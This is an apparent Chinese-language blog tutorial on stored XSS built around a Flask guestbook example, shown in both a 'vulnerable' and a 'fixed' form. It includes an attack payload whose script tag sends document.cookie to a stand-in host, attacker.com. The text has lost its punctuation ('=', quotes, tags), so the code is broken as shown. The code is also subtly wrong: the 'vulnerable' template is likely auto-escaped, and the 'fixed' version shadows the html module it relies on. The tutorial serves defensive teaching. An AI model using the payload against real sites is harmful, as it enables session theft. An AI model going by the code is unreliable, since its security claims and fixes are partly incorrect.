后恶意脚本被自动执行。 本质:用户输入未被正确过滤/转义,最终被当作脚本执行。 . 原理详解 .. 存储型 XSS 原理:攻击者将恶 ...

📅 2026/7/27 6:24:50
后恶意脚本被自动执行。 本质:用户输入未被正确过滤/转义,最终被当作脚本执行。 . 原理详解 .. 存储型 XSS 原理:攻击者将恶 ...
存储型 XSS 攻击当恶意脚本在服务器中“潜伏”什么是存储型 XSS存储型 XSSCross-Site Scripting跨站脚本攻击是最危险的 XSS 攻击类型之一。与反射型 XSS 不同存储型 XSS 的恶意代码被永久存储在目标服务器上比如数据库、评论系统、用户个人资料等。当其他用户访问这些页面时恶意脚本会被自动执行无需用户点击特定链接。本质原因用户输入未被正确过滤或转义导致恶意代码被当作合法数据存储并最终在浏览器中执行。## 存储型 XSS 的攻击流程攻击者 → 提交恶意输入 → 服务器存储 → 其他用户访问 → 脚本自动执行攻击者通过表单、评论、留言板等入口提交包含 JavaScript 代码的输入服务器未做任何过滤直接存入数据库。当其他用户访问该页面时恶意代码被从数据库读取并嵌入到 HTML 中浏览器将其解释为脚本执行。## 实战代码示例一个脆弱的留言板### 后端代码Python Flaskpython# 脆弱版本未做任何过滤的留言板from flask import Flask, render_template_string, request, redirect, url_forimport sqlite3app Flask(__name__)# 初始化数据库def init_db(): conn sqlite3.connect(messages.db) cursor conn.cursor() cursor.execute( CREATE TABLE IF NOT EXISTS messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT, username TEXT ) ) conn.commit() conn.close()init_db()app.route(/)def index(): conn sqlite3.connect(messages.db) cursor conn.cursor() cursor.execute(SELECT username, content FROM messages) messages cursor.fetchall() conn.close() # 危险的渲染方式直接拼接用户输入到 HTML 中 html h1留言板/h1 form action/add methodpost input typetext nameusername placeholder用户名 textarea namecontent placeholder留言内容/textarea button typesubmit提交/button /form div idmessages {% for username, content in messages %} div classmessage strong{{username}}/strong: {{content}} /div {% endfor %} /div return render_template_string(html, messagesmessages)app.route(/add, methods[POST])def add_message(): username request.form[username] content request.form[content] conn sqlite3.connect(messages.db) cursor conn.cursor() # 直接存储用户输入不做任何过滤 cursor.execute(INSERT INTO messages (username, content) VALUES (?, ?), (username, content)) conn.commit() conn.close() return redirect(url_for(index))if __name__ __main__: app.run(debugTrue)### 攻击示例攻击者在留言内容中输入以下恶意代码htmlscript // 窃取用户 cookie fetch(https://attacker.com/steal?cookie document.cookie); // 或者重定向到恶意网站 // window.location.href https://phishing-site.com;/script当其他用户访问留言板时这个脚本会自动执行用户的 cookie 被发送到攻击者的服务器。## 存储型 XSS 的危害1.会话劫持窃取用户 Cookie伪装成合法用户2.数据泄露获取用户敏感信息如 CSRF Token、个人资料3.页面篡改修改页面内容植入钓鱼表单4.键盘记录记录用户输入的密码、信用卡号等## 安全修复方案正确过滤和转义### 修复后的后端代码python# 安全版本使用 HTML 转义和内容安全策略from flask import Flask, render_template_string, request, redirect, url_forimport sqlite3import html # Python 内置 HTML 转义模块app Flask(__name__)# 初始化数据库同前def init_db(): conn sqlite3.connect(messages.db) cursor conn.cursor() cursor.execute( CREATE TABLE IF NOT EXISTS messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT, username TEXT ) ) conn.commit() conn.close()init_db()app.route(/)def index(): conn sqlite3.connect(messages.db) cursor conn.cursor() cursor.execute(SELECT username, content FROM messages) messages cursor.fetchall() conn.close() # 在渲染前对每条消息进行转义 escaped_messages [] for username, content in messages: escaped_username html.escape(username) escaped_content html.escape(content) escaped_messages.append((escaped_username, escaped_content)) # 使用更安全的渲染方式 html !DOCTYPE html html head title安全留言板/title !-- 内容安全策略限制脚本执行 -- meta http-equivContent-Security-Policy contentdefault-src self; script-src none /head body h1安全留言板/h1 form action/add methodpost input typetext nameusername placeholder用户名 required textarea namecontent placeholder留言内容 required/textarea button typesubmit提交/button /form div idmessages {% for username, content in escaped_messages %} div classmessage !-- 使用安全的 Jinja2 转义默认已转义 -- strong{{username}}/strong: {{content}} /div {% endfor %} /div /body /html return render_template_string(html, escaped_messagesescaped_messages)app.route(/add, methods[POST])def add_message(): username request.form[username] content request.form[content] # 输入验证限制用户名长度和内容 if len(username) 50: return 用户名过长, 400 if len(content) 500: return 留言内容过长, 400 # 使用参数化查询已做但加上双重过滤 conn sqlite3.connect(messages.db) cursor conn.cursor() cursor.execute(INSERT INTO messages (username, content) VALUES (?, ?), (username, content)) conn.commit() conn.close() return redirect(url_for(index))if __name__ __main__: app.run(debugTrue)### 前端安全增强javascript// 前端也要做防御使用 textContent 而不是 innerHTMLconst messageContainer document.getElementById(messages);function addMessage(username, content) { const div document.createElement(div); div.className message; const strong document.createElement(strong); // 使用 textContent 自动转义 HTML strong.textContent username : ; const textNode document.createTextNode(content); div.appendChild(strong); div.appendChild(textNode); messageContainer.appendChild(div);}// 即使后端有漏洞前端也能防止脚本执行const maliciousInput scriptalert(XSS)/script;addMessage(攻击者, maliciousInput); // 显示为文本不会执行## 防御策略总结| 防御措施 | 说明 | 示例 ||---------|------|------||输入验证| 限制长度、类型、格式 | 用户名只允许字母数字 ||输出转义| 将转义为lt;| html.escape() ||内容安全策略| 限制脚本来源 | CSP header ||参数化查询| 防止 SQL 注入 | 使用 ? 占位符 ||HttpOnly Cookie| 防止 JS 访问 Cookie | Set-Cookie: HttpOnly |## 总结存储型 XSS 是最危险的 Web 安全漏洞之一因为它不需要用户点击特定链接而是自动在受害者的浏览器中执行。其根本原因是用户输入被当作代码执行而不是数据。防御的关键在于输入验证拒绝恶意输入和输出转义确保用户数据被当作纯文本显示。开发者应该始终遵循“不要信任用户输入”的原则在后端和前端都实施多层防御结合内容安全策略CSP和安全的 API 使用习惯才能有效防范此类攻击。记住安全不是一次性工作而是需要贯穿整个开发周期。